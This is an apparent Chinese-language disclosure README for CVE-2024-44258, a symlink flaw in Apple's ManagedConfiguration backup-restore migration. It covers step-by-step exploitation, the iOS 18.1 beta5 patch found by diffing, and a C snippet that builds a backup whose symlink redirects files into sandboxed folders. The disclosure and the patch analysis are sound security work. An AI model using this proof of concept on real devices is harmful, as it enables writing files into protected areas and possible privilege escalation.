CVE-2024-44258 揭示了 Apple 设备 ManagedConfiguration 框架和 profiled 守护进程中的一个符号链接漏洞。当恢复精心制作的备份时,迁移过程未能验证目标文件夹是否为符号链接,导致未经授权的文件迁移到受限区域。
CVE-2024-44258 已分配给此问题。CVE 是公开披露安全漏洞的唯一标识符。
更多信息,请参阅 Apple 官方支持页面:
该漏洞允许攻击者在备份恢复过程中利用符号链接绕过文件夹限制,将文件写入沙盒或受保护区域。此缺陷可能潜在地允许未经授权访问数据、权限提升,或利用依赖于修改后配置的其他服务。
创建精心制作的备份
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles
添加所需文件
/private/var/mobile/Library/ConfigurationProfiles恢复精心制作的备份
重启设备
预期:
/private/var/mobile/Library/ConfigurationProfiles 应迁移到:
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/
实际:
由于精心制作的符号链接,文件被迁移到包含敏感或受保护数据的受限文件夹中。
此漏洞已在 野外存在数月,表明其正在被积极利用。
在 iOS 18.1 beta5 中,Apple 引入了补丁以解决 ManagedConfiguration 框架中的符号链接漏洞。新增了函数 _MCDestinationPathIsSafeFromSymlinkAttacks,对目标路径进行安全检查,防止文件未经授权迁移到受限区域。该检查已专门添加到函数 MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error: 中。
-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]该漏洞修复通过修改函数 -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:] 实现,该函数负责 ManagedConfiguration 框架中的文件迁移。补丁的工作方式如下:
添加符号链接检查
Apple 在 MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error: 的开头添加了对 _MCDestinationPathIsSafeFromSymlinkAttacks 的调用。此函数现在验证目标路径是否不含符号链接,在迁移操作前增加了一层保护。
条件检查
如果 _MCDestinationPathIsSafeFromSymlinkAttacks 检测到目标路径中存在符号链接,将阻止迁移继续。该函数使用 OS_LOG_TYPE_FAULT 记录一条故障消息并提前退出,从而停止文件操作。
使用 IDA 中的 Diaphora,对 iOS 18.1 beta4 和 iOS 18.1 beta5 进行差异比较,揭示了 -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:] 函数中的更改。下图显示了添加了符号链接检查后的修改代码。

以下是一个示例代码片段,演示如何制作利用此漏洞的备份。该代码概述了如何向备份添加符号链接和文件,模拟该过程但不提供实际制作的备份文件。
unsigned char* plist_data = NULL;
file_read("/path/to/your/test-outofsandbox.plist", &plist_data, &plist_size); // 需要更改为文件路径
backup_add_directory(backup, "HomeDomain", "Library/ConfigurationProfiles", 0755, 501, 501);
backup_add_file_with_data(backup, "HomeDomain", "Library/ConfigurationProfiles/test.plist", 0755, 501, 501, 4, plist_data, plist_size); // 我们添加我们的文件
backup_add_directory(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", NULL, 0755, 501, 501);
backup_add_symlink(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", "Library", "/private/var/mobile/Library", 501, 501); // 将路径更改为您要写入文件的沙盒文件夹
backup_write_mbdb(backup); // 保存备份
backup_free(backup);
特别感谢 Apple 安全团队的迅速响应与合作。
漏洞由 Hichem Maloufi 和 Christian Mina 发现
本仓库基于 MIT 许可证进行许可。更多信息请参见 LICENSE。